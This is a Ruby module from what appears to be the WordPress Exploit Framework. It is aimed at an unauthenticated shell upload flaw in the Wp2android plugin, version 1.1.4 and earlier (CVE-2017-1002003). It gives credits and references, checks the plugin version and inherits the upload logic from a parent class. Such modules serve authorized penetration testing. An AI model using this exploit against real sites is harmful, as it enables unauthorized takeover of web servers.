# frozen_string_literal: true

class Wpxf::Exploit::Wp2AndroidShellUpload < Wpxf::Exploit::MobileAppNativeV3ShellUpload
  def initialize
    super

    update_info(
      name: 'Wp2android <= 1.1.4 Unauthenticated Shell Upload',
      author: [
        'Larry W. Cashdollar', # Discovery and disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8774'],
        ['CVE', '2017-1002003'],
        ['URL', 'http://www.vapidlabs.com/advisory.php?v=182']
      ],
      date: 'Mar 01 2017'
    )
  end

  def check
    check_plugin_version_from_changelog(plugin_name, 'readme.txt', '1.1.5')
  end

  def plugin_name
    'wp2android-turn-wp-site-into-android-app'
  end
end
